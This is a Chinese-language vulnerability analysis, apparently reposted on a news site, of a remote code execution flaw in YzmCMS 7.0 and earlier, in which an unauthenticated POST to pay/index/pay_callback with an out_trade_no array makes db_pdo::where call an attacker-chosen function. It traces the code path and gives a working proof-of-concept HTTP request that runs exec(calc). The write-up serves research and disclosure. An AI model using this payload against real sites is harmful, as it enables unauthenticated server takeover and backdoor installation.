YzmCMS 7.0任意函数调用RCE 漏洞研究分析

news/2024/11/13 9:54:57/

YzmCMS是一款基于YZMPHP开发的一套轻量级开源内容管理系统,YzmCMS简洁、安全、开源、免费,可运行在Linux、Windows、MacOSX、Solaris等各种平台上,专注为公司企业、个人站长快速建站提供解决方案。

YzmCMS 某些接口调用了 db_pdo类的where方法 导致了远程命令执行漏洞,未经身份验证的远程攻击者可利用此漏洞执行任意系统指令,写入后门文件,最终可获取服务器权限。

影响版本

<= 7.0

漏洞分析

在db_pdo.class.php文件中,db_pdo存在where的方法。在195行出现了$fun($rule)的执行方式

如果$fun 与 $rule 都为可控参数则会形成“exec(calc)”的危险函数调用漏洞。

分析$fun 与 $rule 是如何传参的

首先在187行与188行 $rule为$vv[1]得到, $fun为$vv[2] 得到

向上分析 $vv(本身数组) 是数组$args中遍历的,经过测试 $args其实就是where函数的参数$arr赋予的

那么接下来分析谁可以调用db_pdo类的where方法?

....

....

调用where方法有很多,调用的同时考虑参数是否可控,是否传递数组。

。。。

这里根据poc提供一个函数调用的地方

位于pay/controller/index.class.php中的pay_callback方法

php">$out_trade_no = $_POST['out_trade_no'];
$order = D('order')->field('id,order_sn,status,userid,username,paytype,money,quantity,`type`,`desc`')->where(array('order_sn' => $out_trade_no))->find();

经过前面的分析,传递的参数的是数组,这里已经符合要求了。我们只需将 $out_trade_no变为数组即可,且out_trade_no[2]为调用函数out_trade_no[1]为调用函数参数

根据框架的的控制器一般调用方法,欲想调用pay_callback方法 需构造这样的url "pay/index/pay_callback"

可以先这样访问看看行不行,如果不行在分析代码是否禁用的这种方式,是否有自己定义路由,是否有自己定义前缀,后缀。

漏洞复现

根据前面的分析的我们这样发请求行不行

POST /yzmcms-7.0/pay/index/pay_callback HTTP/1.1
Host: 127.0.0.1
Cookie: ;XDEBUG_SESSION=19079
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

out_trade_no[0]=&out_trade_no[1]=calc&out_trade_no[2]=exec

由于out_trade_no没有0的值 出现了错误。

跟进代码调试一下,

.....

....

其实我们前面忽略了一点,就是out_trade_no[0]的处理

 

$vv[0]需是$exp_arr存在的健,根据184行,我们随便找一个键 eq。构造如下payload

POST /yzmcms-7.0/pay/index/pay_callback HTTP/1.1
Host: 127.0.0.1
Cookie: ;XDEBUG_SESSION=19079
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

out_trade_no[0]=eq&out_trade_no[1]=calc&out_trade_no[2]=exec

系统成功的执行了exec(calc)函数,实现了任意函数调用。

 


http://www.ppmy.cn/news/1460762.html

相关文章

蜜蜂收卡系统 加油卡充值卡礼品卡自定义回收系统源码 前后端开源uniapp可打包app

本文来自&#xff1a;蜜蜂收卡系统 加油卡充值卡礼品卡自定义回收系统源码 前后端开源uniapp可打包app - 源码1688 卡券绿色循环计划—— 一项旨在构建卡券价值再利用生态的社会责任感项目。在当前数字化消费日益普及的背景下&#xff0c;大量礼品卡、优惠券因各种原因未能有效…

设计模式——装饰者模式(Decorator)

装饰者模式&#xff08;Decorator Pattern&#xff09;是一种结构型设计模式&#xff0c;它允许你动态地给一个对象添加一些额外的职责&#xff0c;就增加功能来说&#xff0c;装饰者模式相比生成子类更为灵活。在装饰者模式中&#xff0c;一个装饰类会包装一个对象&#xff08…

LeetCode 每日一题 ---- 【2960.统计已测试设备】

LeetCode 每日一题 ---- 【2960.统计已测试设备】 2960.统计已测试设备方法&#xff1a;模拟数组 2960.统计已测试设备 方法&#xff1a;模拟数组 简单的模拟题&#xff0c;遍历数组&#xff0c;暴力的话就是两次遍历第一次从 0 到 n - 1&#xff0c;判断 batteryPercentages…

【刷题】一篇文章搞定“位运算”

只要春天不死&#xff0c;就有迎春的花朵年年岁岁开放&#xff0c;生命讲涅槃&#xff0c;生生不息&#xff0c;并会以另一种形式永存。 – 路遥 《平凡的世界》 (◦′ᆺ‵◦) ♬ ✧❥✧.•✧♡✧ ℒℴѵℯ ✧♡✧•.❥ (◦′ᆺ‵◦) ♬ ✧❥✧.•✧♡✧ ℒℴѵℯ ✧♡✧•.❥…

代码大师的工具箱:现代软件开发利器

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…

漫威争锋Marvel Rivals怎么搜索 锁区怎么搜 游戏搜不到怎么办

即将问世的《漫威争锋》&#xff08;Marvel Rivals&#xff09;作为一款万众期待的PvP射击游戏新星&#xff0c;荣耀携手漫威官方网站共同推出。定档5月11日清晨9时&#xff0c;封闭Alpha测试阶段将正式揭开序幕&#xff0c;持续时间长达十天之久。在此首轮测试窗口&#xff0c…

生成ssh来连接git

生成SSH密钥&#xff1a; 打开你的命令行终端&#xff08;如Windows的CMD、PowerShell&#xff0c;或者Linux/Mac的Terminal&#xff09;。 运行以下命令来生成SSH密钥对&#xff08;私钥和公钥&#xff09;&#xff1a; ssh-keygen -t rsa -b 4096 -C "your_emailexampl…